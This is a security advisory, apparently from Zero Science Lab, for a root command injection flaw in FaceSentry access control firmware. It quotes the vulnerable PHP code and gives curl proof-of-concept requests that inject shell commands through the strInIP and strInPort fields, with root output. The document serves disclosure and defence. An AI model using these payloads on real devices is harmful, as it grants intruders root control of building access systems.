FaceSentry Access Control System 6.4.8 Remote Command Injection

2019.07.01
Credit: LiquidWorm
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

FaceSentry Access Control System 6.4.8 Remote Command Injection Vendor: iWT Ltd. Product web page: http://www.iwt.com.hk Affected version: Firmware 6.4.8 build 264 (Algorithm A16) Firmware 5.7.2 build 568 (Algorithm A14) Firmware 5.7.0 build 539 (Algorithm A14) Summary: FaceSentry 5AN is a revolutionary smart identity management appliance that offers entry via biometric face identification, contactless smart card, staff ID, or QR-code. The QR-code upgrade allows you to share an eKey with guests while you're away from your Office and monitor all activity via the web administration tool. Powered by standard PoE (Power over Ethernet), FaceSEntry 5AN can be installed in minutes with only 6 screws. FaceSentry 5AN is a true enterprise grade access control or time-and-attendance appliance. Desc: FaceSentry suffers from an authenticated OS command injection vulnerability using default credentials. This can be exploited to inject and execute arbitrary shell commands as the root user via the 'strInIP' and 'strInPort' parameters (POST) in pingTest and tcpPortTest PHP scripts. ============================================================== /pingTest.php: -------------- 8: if (!isAuth('TestTools','R')){ 9: echo "No Permission"; 10: include("footer.php"); 11: exit; 12: } 13: 14: if(isset($_POST["strInIP"])){ 15: $strInIP = $_POST["strInIP"]; 16: }else{ 17: $strInIP = ""; 18: } 19: 20: $strOperationResult = ""; 21: if ($strInIP != ""){ 22: 23: $out = array(); 24: exec("sudo ping -c 4 $strInIP",$out); 25: $result = ""; 26: foreach($out as $line){ 27: $result = $result.$line."<br>"; 28: } -------------------------------------------------------------- /tcpPortTest.php: ----------------- 14: if (isset($_POST["strInIP"])){ 15: $strInIP = $_POST["strInIP"]; 16: }else{ 17: $strInIP = ""; 18: } 19: if (isset($_POST["strInPort"])){ 20: $strInPort = $_POST["strInPort"]; 21: }else{ 22: $strInPort = ""; 23: } .. .. 53: $strOperationResult = ""; 54: if ($strInIP != "" and $strInPort != ""){ 55: $fp = fsockopen($strInIP, $strInPort, $errno, $errstr, 10); 56: system("date>>".TCP_PORT_TEST); 57: if (!$fp) { 58: $strOperationResult = getDisplay("TestTools.TCPPortTestFail")." $errstr ($errno)"; 59: system("echo -e \"Unable to connect to $strInIP:$strInPort\">>".TCP_PORT_TEST); 60: } else { 61: fclose($fp); 62: $strOperationResult = getDisplay("TestTools.TCPPortTestSucces"); 63: system("echo -e \"Successfully connected to $strInIP:$strInPort\">>".TCP_PORT_TEST); 64: } 65: } ============================================================== Tested on: Linux 4.14.18-sunxi (armv7l) Ubuntu 16.04.4 LTS (Xenial Xerus) Linux 3.4.113-sun8i (armv7l) PHP/7.0.30-0ubuntu0.16.04.1 PHP/7.0.22-0ubuntu0.16.04.1 lighttpd/1.4.35 Armbian 5.38 Sunxi Linux (sun8i generation) Orange Pi PC + Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2019-5523 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5523.php 28.05.2019 -- $ curl -X POST 'http://192.168.11.1/tcpPortTest.php' \ --data 'strInIP=1.2.3.4`sudo id > garbage.txt`&strInPort=80' \ -H 'Cookie: PHPSESSID=21t4idf15fnkd61rerql9al4n3' $ curl http://192.168.11.1/garbage.txt uid=0(root) gid=0(root) groups=0(root) -------------------------------------------------------------------------------- $ curl -X POST 'http://192.168.11.1/pingTest.php' \ --data 'strInIP=;sudo id' \ -H 'Cookie: PHPSESSID=21t4idf15fnkd61rerql9al4n3' \ |grep uid % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 7726 0 7697 100 29 10180 38 --:--:-- --:--:-- --:--:-- 10181 <font color='red'>Ping Test Fail! (;sudo id)<br>uid=0(root) gid=0(root) groups=0(root)<br></font><div id="six_tab_pages_nav" class="six_tab_pages_nav">


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